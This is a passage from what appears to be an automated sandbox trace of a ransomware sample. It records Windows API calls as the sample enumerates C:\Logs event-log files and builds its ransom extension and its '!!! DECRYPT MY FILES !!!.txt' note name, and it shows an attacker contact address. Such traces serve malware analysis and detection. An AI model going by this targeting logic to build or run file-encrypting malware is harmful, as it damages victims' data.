ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0104.056] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-twinui%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", len=0x40 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx") returned 1 [0104.056] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", cchLength=0x40 | out: lpsz="c:\\logs\\microsoft-windows-user profile service%4operational.evtx") returned 0x40 [0104.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.057] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.057] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.057] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0104.057] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-user profile service%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", len=0x34 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 1 [0104.057] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", cchLength=0x34 | out: lpsz="c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx") returned 0x34 [0104.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.057] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.495] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.495] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.495] GetProcessHeap () returned 0x630000 [0105.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0105.495] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0105.495] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx", psz="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", len=0x35 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 1 [0105.495] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cchLength=0x35 | out: lpsz="c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx") returned 0x35 [0105.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.496] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.496] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.496] GetProcessHeap () returned 0x630000 [0105.496] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x10) returned 0x6b12b0 [0105.496] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0105.496] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx", psz="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", len=0x41 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 1 [0105.496] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cchLength=0x41 | out: lpsz="c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx") returned 0x41 [0105.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.496] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.496] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.496] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.497] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0105.497] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", len=0x32 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 1 [0105.497] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", cchLength=0x32 | out: lpsz="c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx") returned 0x32 [0105.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.497] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.497] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.497] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0105.497] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", len=0x3c | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 1 [0105.497] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx", cchLength=0x3c | out: lpsz="c:\\logs\\microsoft-windows-windows defender%4operational.evtx") returned 0x3c [0105.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.498] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.498] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.498] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0105.498] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-windows defender%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", len=0x34 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 1 [0105.498] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", cchLength=0x34 | out: lpsz="c:\\logs\\microsoft-windows-windows defender%4whc.evtx") returned 0x34 [0105.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.498] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.498] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.498] GetProcessHeap () returned 0x630000 [0105.498] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x14) returned 0x6b01f8 [0105.498] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0105.499] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-windows defender%4whc.evtx", psz="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", len=0x5a | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 1 [0105.499] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cchLength=0x5a | out: lpsz="c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx") returned 0x5a [0105.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.499] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.499] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.499] GetProcessHeap () returned 0x630000 [0105.499] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x18) returned 0x6b0338 [0105.499] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0105.500] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx", psz="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", len=0x50 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 1 [0105.500] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cchLength=0x50 | out: lpsz="c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx") returned 0x50 [0105.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.500] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.500] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.500] GetProcessHeap () returned 0x630000 [0105.500] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0338, Size=0x1c) returned 0x6e8fe0 [0105.500] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0105.500] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx", psz="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", len=0x41 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 1 [0105.500] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cchLength=0x41 | out: lpsz="c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx") returned 0x41 [0105.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.500] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.501] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.501] GetProcessHeap () returned 0x630000 [0105.501] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x20) returned 0x6e9008 [0105.501] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0105.501] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx", psz="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", len=0x34 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 1 [0105.501] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", cchLength=0x34 | out: lpsz="c:\\logs\\microsoft-windows-winlogon%4operational.evtx") returned 0x34 [0105.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.501] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.501] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.501] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0105.502] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-winlogon%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", len=0x38 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 1 [0105.502] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx", cchLength=0x38 | out: lpsz="c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx") returned 0x38 [0105.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.502] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.502] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.502] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0105.502] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx", psz="C:\\Logs\\Security.evtx", len=0x15 | out: pbstr=0x6ebf660*="C:\\Logs\\Security.evtx") returned 1 [0105.502] CharLowerBuffW (in: lpsz="C:\\Logs\\Security.evtx", cchLength=0x15 | out: lpsz="c:\\logs\\security.evtx") returned 0x15 [0105.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0105.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0105.502] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0105.502] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0105.503] GetProcessHeap () returned 0x630000 [0105.503] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9008, Size=0x24) returned 0x699708 [0105.503] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, 